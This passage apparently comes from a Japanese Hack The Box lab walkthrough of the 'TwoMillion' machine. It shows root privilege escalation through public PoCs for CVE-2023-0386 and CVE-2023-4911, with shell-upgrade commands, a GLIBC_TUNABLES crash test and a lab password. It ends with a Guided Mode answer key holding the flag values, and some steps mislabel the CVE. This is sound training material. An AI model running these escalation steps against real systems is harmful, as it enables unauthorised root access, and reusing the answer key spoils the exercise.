→パスワード(SuperDuperPass123)を入力してログイン、及びファイル転送に成功する。
(7) adminユーザーで攻撃対象のマシン(TwoMillion)ログインした上に「https://github.com/sxlmnwb/CVE-2023-0386」に記載されたコマンドを実行し、攻撃コードを実行する準備をする。
$ cd /tmp
$ unzip CVE-2023-0386.zip
$ CVE-2023-0386
$ make all
(8) 「https://github.com/sxlmnwb/CVE-2023-0386」に記載されたコマンドを実行し、待ち受ける。
$ ./fuse ./ovlcap/lower ./gc
(7) もう一つのプロンプトを起動して、再度adminユーザーでログインする。
adminユーザーでログインする際は以下の内容を実施する。
・www-dataユーザ権限のシェルの奪取
・adminユーザ権限のシェルの奪取
$ ./exp
→rootのプロンプト(#)が表示される。
(8) rootユーザーのフラグファイルを開くと、フラグの文字列が表示される。
# cat /root/root.txt
→フラグ文字列(ac796ad92547c8f3f0123bb2044f6dd9)が出力される。【別解】特権昇格(CVE-2023-4911の脆弱性悪用)
adminユーザでログインした後にCVE-2023-0386の脆弱性を悪用して、特権昇格をする方法を記載しました。
攻撃対象のマシン(TwoMillion)にはCVE-2023-4911の脆弱性もあるため、CVE-2023-4911の脆弱性を悪用して特権昇格することができます。
(1) 完全なシェルを奪取する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xterm
(2) 攻撃対象のマシン(TwoMillion)にadminユーザーでログイン後、libc-binのバージョンを確認する。「2.35-0ubuntu3.1」のバージョンを使用していることが分かる。
$ dpkg -l | grep -i libc-bin
ii libc-bin 2.35-0ubuntu3.1 amd64 GNU C Library: Binaries
$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
(3) 「libc-bin exploit」をGoogle検索すると、CVE-2023-4911の脆弱性があることが分かる。また、「https://ubuntu.com/security/CVE-2023-4911」によると、「Ubuntu 22.04」上のglibcのバージョン「2.35-0ubuntu3.1」は脆弱性の対象であることが分かる。
(4) 「CVE-2023-0386 github」でGoogle検索すると、「https://github.com/NishanthAnand21/CVE-2023-4911-PoC」に攻撃コードがある。
(5) CVE-2023-0386の脆弱性があるかどうか確認する。
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
※「Segmentation fault (core dumped)」が出力されるため、CVE-2023-0386の脆弱性があることが分かる。
(6) 攻撃コードを攻撃対象のマシン(TwoMillion)に格納するために、一度Kali Linux上に格納して、SCPで攻撃対象のマシン(TwoMillion)に格納する。
$ git clone https://github.com/NishanthAnand21/CVE-2023-4911-PoC
$ zip -r CVE-2023-4911.zip CVE-2023-4911-PoC
$ scp CVE-2023-4911.zip admin@2million.htb:/tmp
→パスワード(SuperDuperPass123)を入力してログイン、及びファイル転送に成功する。
(7) 攻撃対象のマシン(TwoMillion)上でCVE-2023-4911.zipファイルを解凍する。
$ cd /tmp
$ unzip CVE-2023-4911.zip
$ cd CVE-2023-4911-PoC
(8) 「https://github.com/NishanthAnand21/CVE-2023-4911-PoC」の内容に従って、exploit_CVE-2023-4911というスクリプトファイルを生成して、実行する。
$ gcc exploit.c -o /tmp/exploit_CVE-2023-4911
$ python3 genlib.py
$ mv /tmp/exploit_CVE-2023-4911 /tmp/CVE-2023-4911-PoC/
$ ./exploit_CVE-2023-4911
try 100
try 200
(省略)
#
# id
uid=0(root) gid=1000(admin) groups=1000(admin)
(9) rootユーザーのフラグファイルを開くと、フラグの文字列が表示される。
# cat /root/root.txt
123f4998b2957c2b30e4d297618d7e47[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many TCP ports are open?
問題(日本語訳):開いている TCP ポートはいくつですか?
答え:2
nmapコマンドでのポートスキャンで22/tcpと80/tcpの2つのポートから応答があったため。
・Task 2
問題(英語訳):What is the name of the JavaScript file loaded by the /invite page that has to do with invite codes?
問題(日本語訳):/invite ページによって読み込まれる、招待コードに関連する JavaScript ファイルの名前は何ですか?
答え:inviteapi.min.js
/inviteページで読み込まれる招待コードに関係するJavaScriptファイルは「inviteapi.min.js」です。
・Task 3
問題(英語訳):What JavaScript function on the invite page returns the first hint about how to get an invite code? Don't include () in the answer.
問題(日本語訳):招待ページのどの JavaScript 関数が招待コードを取得する方法についての最初のヒントを返しますか? 回答に () を含めないでください。
答え:makeInviteCode
※招待ページ上で招待コードを取得するJavaScript関数は「makeInviteCode」です。
・Task 4
問題(英語訳):The endpoint in makeInviteCode returns encrypted data. That message provides another endpoint to query. That endpoint returns a code value that is encoded with what very common binary to text encoding format. What is the name of that encoding?
問題(日本語訳):makeInviteCode のエンドポイントは暗号化されたデータを返します。そのメッセージは、クエリを実行する別のエンドポイントを提供します。そのエンドポイントは、非常に一般的なバイナリからテキストへのエンコード形式でエンコードされたコード値を返します。そのエンコードの名前は何ですか?
答え:BASE64
※makeInviteCodeの値はBASE64でエンコードされている。
・Task 5
問題(英語訳):What is the path to the endpoint the page uses when a user clicks on "Connection Pack"?
問題(日本語訳):ユーザーが「Connection Pack」をクリックしたときにページが使用するエンドポイントへのパスは何ですか?
答え:/api/v1/user/vpn/generate
※[Labs]-[Access]をクリックした時のページ(/home/access)をBurp経由でアクセスすると、「Connection Pack」は「/api/v1/user/vpn/generate」にURLリンクがある。
・Task 6
問題(英語訳):How many API endpoints are there under /api/v1/admin?
問題(日本語訳):/api/v1/admin の下には API エンドポイントがいくつありますか?
答え:3
※/api/v1/のレスポンス内容を確認すると、/api/v1/admin配下のAPIは以下の3個ある。
・/api/v1/admin/auth
・/api/v1/admin/vpn/generate
・/api/v1/admin/settings/update
・Task 7
問題(英語訳):What API endpoint can change a user account to an admin account?
問題(日本語訳):ユーザー アカウントを管理者アカウントに変更できる API エンドポイントは何ですか?
答え:/api/v1/admin/settings/update
・Task 8
問題(英語訳):What API endpoint has a command injection vulnerability in it?
問題(日本語訳):どの API エンドポイントにコマンド インジェクションの脆弱性がありますか?
答え:/api/v1/admin/vpn/generate
・Task 9
問題(英語訳):What file is commonly used in PHP applications to store environment variable values?
問題(日本語訳):PHP アプリケーションで環境変数の値を保存するためによく使用されるファイルは何ですか?
答え:.env
PHPの環境変数は「.env」に保存されている。
・Submit User Flag
問題(英語訳):Submit the flag located in the admin user's home directory.
問題(日本語訳):管理者ユーザーのホームディレクトリにあるフラグを送信します。
答え:7d858c4ae832edc278767e1da8d51e6d
※「user.txt」ファイルの内容
・Task 11
問題(英語訳):What is the email address of the sender of the email sent to admin?
問題(日本語訳):管理者に送信されたメールの送信者のメールアドレスは何ですか?
答え:ch4p@2million.htb
※/var/mail/adminにメールが格納されており、送信元メールアドレスは「ch4p@2million.htb」です。
・Task 12
問題(英語訳):What is the 2023 CVE ID for a vulnerability in that allows an attacker to move files in the Overlay file system while maintaining metadata like the owner and SetUID bits?
問題(日本語訳):
攻撃者が所有者や SetUID ビットなどのメタデータを維持しながら、オーバーレイ ファイル システム内のファイルを移動できるようにする脆弱性の 2023 CVE ID は何ですか?
答え:CVE-2023-0386
・Submit Root Flag
問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):rootのホームディレクトリにあるフラグを送信します。
答え:ac796ad92547c8f3f0123bb2044f6dd9
※フラグファイル(/root/root.txt)の内容「ac796ad92547c8f3f0123bb2044f6dd9」です。
・Task 14
問題(英語訳):[Alternative Priv Esc] What is the version of the GLIBC library on TwoMillion?
問題(日本語訳):TwoMillion の GLIBC ライブラリのバージョンは何ですか?
答え:2.35
※「dpkg -l | grep -i libc-bin」コマンドの結果「2.35-0ubuntu3.1」が出力される。
・Task 15
問題(英語訳):[Alternative Priv Esc] What is the CVE ID for the 2023 buffer overflow vulnerability in the GNU C dynamic loader?
問題(日本語訳):GNU C ダイナミック ローダーの 2023 バッファ オーバーフロー脆弱性の CVE ID は何ですか?
答え:CVE-2023-4911
Googleで「glibc vulnerability 2023 buffer overflow」を検索すると、「CVE-2023-4911」の脆弱性がある
攻撃コードは「https://github.com/NishanthAnand21/CVE-2023-4911-PoC」です。
・Task 16
問題(英語訳):[Alternative Priv Esc] With a shell as admin or www-data, find a POC for Looney Tunables. What is the name of the environment variable that triggers the buffer overflow? After answering this question, run the POC and get a shell as root.
問題(日本語訳):admin または www-data のシェルを使用して、Looney Tunables の POC を見つけます。バッファ オーバーフローをトリガーする環境変数の名前は何ですか? この質問に答えた後、POC を実行し、root としてシェルを取得します。
答え:GLIBC_TUNABLES関連記事(Hack The Box)
※後日作成予定。

